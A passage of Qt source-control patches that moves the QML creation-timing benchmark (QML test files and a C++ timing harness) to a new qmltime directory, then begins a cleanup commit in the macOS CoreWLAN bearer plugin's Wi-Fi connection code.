a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml deleted file mode 100644 index 3387a32..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - children: [ - Rectangle { }, - Rectangle { }, - Item { }, - Image { }, - Text { }, - Item { }, - Item { }, - Image { }, - Image { }, - Row { }, - Image { }, - Image { }, - Column { }, - Row { }, - Text { }, - Text { }, - Text { }, - MouseArea { } - ] - - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml deleted file mode 100644 index a8b653c..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - data: [ - Rectangle { }, - Rectangle { }, - Item { }, - Image { }, - Text { }, - Item { }, - Item { }, - Image { }, - Image { }, - Row { }, - Image { }, - Image { }, - Column { }, - Row { }, - Text { }, - Text { }, - Text { }, - MouseArea { } - ] - - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml deleted file mode 100644 index 0a507d4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml +++ /dev/null @@ -1,12 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - } - } - } -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml deleted file mode 100644 index 227d8ad..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - resources: [ - Rectangle { }, - Rectangle { }, - Item { }, - Image { }, - Text { }, - Item { }, - Item { }, - Image { }, - Image { }, - Row { }, - Image { }, - Image { }, - Column { }, - Row { }, - Text { }, - Text { }, - Text { }, - MouseArea { } - ] - - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml deleted file mode 100644 index 6f8d849..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml +++ /dev/null @@ -1,7 +0,0 @@ -import Qt 4.6 - -Item { - Rectangle {} - Text {} - Image {} -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml deleted file mode 100644 index 270add4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml +++ /dev/null @@ -1,16 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loader { - sourceComponent: Loaded {} - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml deleted file mode 100644 index d3b84cc..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml +++ /dev/null @@ -1,15 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loader {} - Loaded {} - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml deleted file mode 100644 index a94a12a..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml +++ /dev/null @@ -1,14 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loaded {} - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml deleted file mode 100644 index 39ed1a6..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml +++ /dev/null @@ -1,16 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loader { - source: "Loaded.qml" - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml deleted file mode 100644 index c1f54a4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml +++ /dev/null @@ -1,37 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - QDeclarativeTime.Timer { - component: Component { - Item { - Rectangle { } - Rectangle { } - Item { - Image { } - Text { } - } - - Item { - Item { - Image { } - Image { } - Item { - Image { } - Image { } - } - } - - Item { - Item { - Text { } - Text { } - } - Text { } - } - } - MouseArea { } - } - } - } -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml deleted file mode 100644 index d49ff78..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - QDeclarativeTime.Timer { - component: Component { - Item { - Rectangle { } - Rectangle { } - Item { - Image { } - Text { } - } - - Item { - Item { - Image { } - Image { } - Row { } - Image { } - Image { } - } - - Column { } - Row { } - Text { } - Text { } - Text { } - } - MouseArea { } - } - } - } -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml deleted file mode 100644 index 05ca804..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml +++ /dev/null @@ -1,37 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - QDeclarativeTime.Timer { - component: Component { - Item { - Rectangle { } - Rectangle { } - Item { - Image { } - Text { } - } - - Item { - Item { - Image { } - Image { } - Row { - Image { } - Image { } - } - } - - Column { - Row { - Text { } - Text { } - } - Text { } - } - } - MouseArea { } - } - } - } -} diff --git a/tests/benchmarks/declarative/qmltime/example.qml b/tests/benchmarks/declarative/qmltime/example.qml new file mode 100644 index 0000000..68889f0 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/example.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + property string name: "Bob Smith" + + QmlTime.Timer { + component: Item { + Text { text: name } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/qmltime.cpp b/tests/benchmarks/declarative/qmltime/qmltime.cpp new file mode 100644 index 0000000..3932e01 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/qmltime.cpp @@ -0,0 +1,231 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include + +class Timer : public QObject +{ + Q_OBJECT + Q_PROPERTY(QDeclarativeComponent *component READ component WRITE setComponent); + +public: + Timer(); + + QDeclarativeComponent *component() const; + void setComponent(QDeclarativeComponent *); + + static Timer *timerInstance(); + + void run(uint); + + bool willParent() const; + void setWillParent(bool p); + +private: + void runTest(QDeclarativeContext *, uint); + + QDeclarativeComponent *m_component; + static Timer *m_timer; + + bool m_willparent; + QGraphicsScene m_scene; + QGraphicsRectItem m_item; +}; +QML_DECLARE_TYPE(Timer); + +Timer *Timer::m_timer = 0; + +Timer::Timer() +: m_component(0), m_willparent(false) +{ + if (m_timer) + qWarning("Timer: Timer already registered"); + m_timer = this; + + m_scene.setItemIndexMethod(QGraphicsScene::NoIndex); + m_scene.addItem(&m_item); +} + +QDeclarativeComponent *Timer::component() const +{ + return m_component; +} + +void Timer::setComponent(QDeclarativeComponent *c) +{ + m_component = c; +} + +Timer *Timer::timerInstance() +{ + return m_timer; +} + +void Timer::run(uint iterations) +{ + QDeclarativeContext context(qmlContext(this)); + + QObject *o = m_component->create(&context); + QGraphicsObject *go = qobject_cast(o); + if (m_willparent && go) + go->setParentItem(&m_item); + delete o; + + runTest(&context, iterations); +} + +bool Timer::willParent() const +{ + return m_willparent; +} + +void Timer::setWillParent(bool p) +{ + m_willparent = p; +} + +void Timer::runTest(QDeclarativeContext *context, uint iterations) +{ + QTime t; + t.start(); + for (uint ii = 0; ii < iterations; ++ii) { + QObject *o = m_component->create(context); + QGraphicsObject *go = qobject_cast(o); + if (m_willparent && go) + go->setParentItem(&m_item); + delete o; + } + + int e = t.elapsed(); + + qWarning() << "Total:" << e << "ms, Per iteration:" << qreal(e) / qreal(iterations) << "ms"; + +} + +void usage(const char *name) +{ + qWarning("Usage: %s [-iterations ] [-parent] ", name); + exit(-1); +} + +int main(int argc, char ** argv) +{ + QApplication app(argc, argv); + + qmlRegisterType("QmlTime", 1, 0, "Timer"); + + uint iterations = 1024; + QString filename; + bool willParent = false; + + for (int ii = 1; ii < argc; ++ii) { + QByteArray arg(argv[ii]); + + if (arg == "-iterations") { + if (ii + 1 < argc) { + ++ii; + QByteArray its(argv[ii]); + bool ok = false; + iterations = its.toUInt(&ok); + if (!ok) + usage(argv[0]); + } else { + usage(argv[0]); + } + } else if (arg == "-parent") { + willParent = true; + } else { + filename = QLatin1String(argv[ii]); + } + } + + if (filename.isEmpty()) +#ifdef Q_OS_SYMBIAN + filename = QLatin1String("./tests/item_creation/data.qml"); +#else + usage(argv[0]); +#endif + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, filename); + if (component.isError()) { + qWarning() << component.errors(); + return -1; + } + + QObject *obj = component.create(); + if (!obj) { + qWarning() << component.errors(); + return -1; + } + + Timer *timer = Timer::timerInstance(); + if (!timer) { + qWarning() << "A Tester.Timer instance is required."; + return -1; + } + +#ifdef Q_OS_SYMBIAN + willParent = true; +#endif + timer->setWillParent(willParent); + + if (!timer->component()) { + qWarning() << "The timer has no component"; + return -1; + } + +#ifdef Q_OS_SYMBIAN + iterations = 1024; +#endif + + timer->run(iterations); + + return 0; +} + +#include "qmltime.moc" diff --git a/tests/benchmarks/declarative/qmltime/qmltime.pro b/tests/benchmarks/declarative/qmltime/qmltime.pro new file mode 100644 index 0000000..9352f3b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/qmltime.pro @@ -0,0 +1,23 @@ +load(qttest_p4) +TEMPLATE = app +TARGET = qmltime +QT += declarative +macx:CONFIG -= app_bundle + +SOURCES += qmltime.cpp + +symbian* { + TARGET.CAPABILITY = "All -TCB" + example.sources = example.qml + esample.path = . + tests.sources = tests/* + tests.path = tests + anshors.sources = tests/anchors/* + anchors.path = tests/anchors + item_creation.sources = tests/item_creation/* + item_creation.path = tests/item_creation + positioner_creation.sources = tests/positioner_creation/* + positioner_creation.path = tests/positioner_creation + DEPLOYMENT += example tests anchors item_creation positioner_creation +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml new file mode 100644 index 0000000..31c879b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml new file mode 100644 index 0000000..23fe78e --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml new file mode 100644 index 0000000..bc447ef --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml @@ -0,0 +1,27 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Item { + } + Item { + } + Item { + } + Item { + } + Item { + } + Item { + } + Item { + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/large.qml b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml new file mode 100644 index 0000000..c1cdb68 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { duration: 500 } + NumberAnimation { duration: 4000; } + NumberAnimation { duration: 2000; easing.type: "OutBack"} + ColorAnimation { duration: 3000} + SequentialAnimation { + PauseAnimation { duration: 1000 } + ScriptAction { script: doSomething(); } + PauseAnimation { duration: 800 } + ScriptAction { script: doSomethingElse(); } + PauseAnimation { duration: 800 } + ParallelAnimation { + NumberAnimation { duration: 200;} + SequentialAnimation { + PauseAnimation { duration: 200} + ParallelAnimation { + NumberAnimation { duration: 300;} + NumberAnimation { duration: 300;} + } + NumberAnimation { from: 0; to: 1; duration: 500 } + PauseAnimation { duration: 200 } + NumberAnimation { from: 1; to: 0; duration: 500 } + } + SequentialAnimation { + PauseAnimation { duration: 150} + NumberAnimation { duration: 300; easing.type: "OutBounce" } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml new file mode 100644 index 0000000..3db9f08 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + NumberAnimation { } + ColorAnimation { } + SequentialAnimation { + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + SequentialAnimation { + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + } + NumberAnimation { } + PauseAnimation { } + NumberAnimation { } + } + SequentialAnimation { + PauseAnimation { } + NumberAnimation { } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml new file mode 100644 index 0000000..996602c --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + children: [ + Rectangle { }, + Rectangle { }, + Item { }, + Image { }, + Text { }, + Item { }, + Item { }, + Image { }, + Image { }, + Row { }, + Image { }, + Image { }, + Column { }, + Row { }, + Text { }, + Text { }, + Text { }, + MouseArea { } + ] + + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml new file mode 100644 index 0000000..9f79c34 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + data: [ + Rectangle { }, + Rectangle { }, + Item { }, + Image { }, + Text { }, + Item { }, + Item { }, + Image { }, + Image { }, + Row { }, + Image { }, + Image { }, + Column { }, + Row { }, + Text { }, + Text { }, + Text { }, + MouseArea { } + ] + + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml new file mode 100644 index 0000000..f228c2a --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml @@ -0,0 +1,12 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + } + } + } +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml new file mode 100644 index 0000000..335aeb8 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + resources: [ + Rectangle { }, + Rectangle { }, + Item { }, + Image { }, + Text { }, + Item { }, + Item { }, + Image { }, + Image { }, + Row { }, + Image { }, + Image { }, + Column { }, + Row { }, + Text { }, + Text { }, + Text { }, + MouseArea { } + ] + + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml new file mode 100644 index 0000000..6f8d849 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Item { + Rectangle {} + Text {} + Image {} +} diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml new file mode 100644 index 0000000..65d5010 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader { + sourceComponent: Loaded {} + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml new file mode 100644 index 0000000..2dfe922 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml @@ -0,0 +1,15 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader {} + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml new file mode 100644 index 0000000..1fa0d3b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml new file mode 100644 index 0000000..33bb91c --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader { + source: "Loaded.qml" + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml new file mode 100644 index 0000000..97bad47 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml @@ -0,0 +1,37 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + QmlTime.Timer { + component: Component { + Item { + Rectangle { } + Rectangle { } + Item { + Image { } + Text { } + } + + Item { + Item { + Image { } + Image { } + Item { + Image { } + Image { } + } + } + + Item { + Item { + Text { } + Text { } + } + Text { } + } + } + MouseArea { } + } + } + } +} diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml new file mode 100644 index 0000000..36dda15 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + QmlTime.Timer { + component: Component { + Item { + Rectangle { } + Rectangle { } + Item { + Image { } + Text { } + } + + Item { + Item { + Image { } + Image { } + Row { } + Image { } + Image { } + } + + Column { } + Row { } + Text { } + Text { } + Text { } + } + MouseArea { } + } + } + } +} diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml new file mode 100644 index 0000000..396e27d --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml @@ -0,0 +1,37 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + QmlTime.Timer { + component: Component { + Item { + Rectangle { } + Rectangle { } + Item { + Image { } + Text { } + } + + Item { + Item { + Image { } + Image { } + Row { + Image { } + Image { } + } + } + + Column { + Row { + Text { } + Text { } + } + Text { } + } + } + MouseArea { } + } + } + } +} -- cgit v0.12 From a573e48c107ca0446127cead281ac9e469375d04 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 25 Mar 2010 11:50:40 +1000 Subject: Remove unused code. --- src/plugins/bearer/corewlan/qcorewlanengine.h | 2 - src/plugins/bearer/corewlan/qcorewlanengine.mm | 323 +++++++++---------------- 2 files changed, 113 insertions(+), 212 deletions(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.h b/src/plugins/bearer/corewlan/qcorewlanengine.h index 02766c5..5e93193 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.h +++ b/src/plugins/bearer/corewlan/qcorewlanengine.h @@ -78,8 +78,6 @@ public: QNetworkConfigurationPrivatePointer defaultConfiguration(); - bool getWifiInterfaces(); - bool requiresPolling() const; private Q_SLOTS: diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index b64fda8..e565307 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -67,8 +67,6 @@ #include #include "private/qcore_mac_p.h" -QMap networkInterfaces; - @interface QNSListener : NSObject { NSNotificationCenter *center; @@ -187,156 +185,148 @@ void QCoreWlanEngine::connectToId(const QString &id) QMacCocoaAutoReleasePool pool; QString interfaceString = getInterfaceFromId(id); - if(networkInterfaces.value(interfaceString) == "WLAN") { - CWInterface *wifiInterface = [CWInterface interfaceWithName: qt_mac_QStringToNSString(interfaceString)]; + CWInterface *wifiInterface = + [CWInterface interfaceWithName: qt_mac_QStringToNSString(interfaceString)]; - if([wifiInterface power]) { - NSError *err = nil; - NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0]; + if ([wifiInterface power]) { + NSError *err = nil; + NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0]; - QString wantedSsid = 0; + QString wantedSsid; - QNetworkConfigurationPrivatePointer ptr = accessPointConfigurations.value(id); + QNetworkConfigurationPrivatePointer ptr = accessPointConfigurations.value(id); - const QString idHash = QString::number(qHash(QLatin1String("corewlan:") + ptr->name)); - const QString idHash2 = QString::number(qHash(QLatin1String("corewlan:") + getNetworkNameFromSsid(ptr->name))); + const QString idHash = QString::number(qHash(QLatin1String("corewlan:") + ptr->name)); + const QString idHash2 = QString::number(qHash(QLatin1String("corewlan:") + getNetworkNameFromSsid(ptr->name))); - bool using8021X = false; + bool using8021X = false; - if(idHash2 != id) { - NSArray *array = [CW8021XProfile allUser8021XProfiles]; + if (idHash2 != id) { + NSArray *array = [CW8021XProfile allUser8021XProfiles]; - for (NSUInteger i=0; i<[array count]; ++i) { - const QString networkNameHashCheck = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] userDefinedName]))); + for (NSUInteger i = 0; i < [array count]; ++i) { + const QString networkNameHashCheck = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] userDefinedName]))); - const QString ssidHash = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] ssid]))); + const QString ssidHash = QString::number(qHash(QLatin1String("corewlan:") + qt_mac_NSStringToQString([[array objectAtIndex:i] ssid]))); - if(id == networkNameHashCheck - || id == ssidHash) { + if (id == networkNameHashCheck || id == ssidHash) { + const QString thisName = getSsidFromNetworkName(id); + if (thisName.isEmpty()) + wantedSsid = id; + else + wantedSsid = thisName; - QString thisName = getSsidFromNetworkName(id); - if(thisName.isEmpty()) { - wantedSsid = id; - } else { - wantedSsid = thisName; - } - [params setValue: [array objectAtIndex:i] forKey:kCWAssocKey8021XProfile]; - using8021X = true; - break; - } + [params setValue: [array objectAtIndex:i] forKey:kCWAssocKey8021XProfile]; + using8021X = true; + break; } } + } - if(!using8021X) { - QString wantedNetwork; - QMapIterator > i(userProfiles); - while (i.hasNext()) { - i.next(); - wantedNetwork = i.key(); - const QString networkNameHash = QString::number(qHash(QLatin1String("corewlan:") + wantedNetwork)); - if(id == networkNameHash) { - wantedSsid = getSsidFromNetworkName(wantedNetwork); - break; - } + if (!using8021X) { + QString wantedNetwork; + QMapIterator > i(userProfiles); + while (i.hasNext()) { + i.next(); + wantedNetwork = i.key(); + const QString networkNameHash = QString::number(qHash(QLatin1String("corewlan:") + wantedNetwork)); + if (id == networkNameHash) { + wantedSsid = getSsidFromNetworkName(wantedNetwork); + break; } } - NSDictionary *scanParameters = [NSDictionary dictionaryWithObjectsAndKeys: - [NSNumber numberWithBool:YES], kCWScanKeyMerge, - [NSNumber numberWithInteger:100], kCWScanKeyRestTime, - qt_mac_QStringToNSString(wantedSsid), kCWScanKeySSID, - nil]; + } + NSDictionary *scanParameters = [NSDictionary dictionaryWithObjectsAndKeys: + [NSNumber numberWithBool:YES], kCWScanKeyMerge, + [NSNumber numberWithInteger:100], kCWScanKeyRestTime, + qt_mac_QStringToNSString(wantedSsid), kCWScanKeySSID, + nil]; - NSArray *scanArray = [NSArray arrayWithArray:[wifiInterface scanForNetworksWithParameters:scanParameters error:&err]]; + NSArray *scanArray = [NSArray arrayWithArray:[wifiInterface scanForNetworksWithParameters:scanParameters error:&err]]; - if(!err) { - for(uint row=0; row < [scanArray count]; row++ ) { - CWNetwork *apNetwork = [scanArray objectAtIndex:row]; + if(!err) { + for(uint row=0; row < [scanArray count]; row++ ) { + CWNetwork *apNetwork = [scanArray objectAtIndex:row]; - if(wantedSsid == qt_mac_NSStringToQString([apNetwork ssid])) { + if(wantedSsid == qt_mac_NSStringToQString([apNetwork ssid])) { - if(!using8021X) { - SecKeychainAttribute attributes[3]; + if(!using8021X) { + SecKeychainAttribute attributes[3]; - NSString *account = [apNetwork ssid]; - NSString *keyKind = @"AirPort network password"; - NSString *keyName = account; + NSString *account = [apNetwork ssid]; + NSString *keyKind = @"AirPort network password"; + NSString *keyName = account; - attributes[0].tag = kSecAccountItemAttr; - attributes[0].data = (void *)[account UTF8String]; - attributes[0].length = [account length]; + attributes[0].tag = kSecAccountItemAttr; + attributes[0].data = (void *)[account UTF8String]; + attributes[0].length = [account length]; - attributes[1].tag = kSecDescriptionItemAttr; - 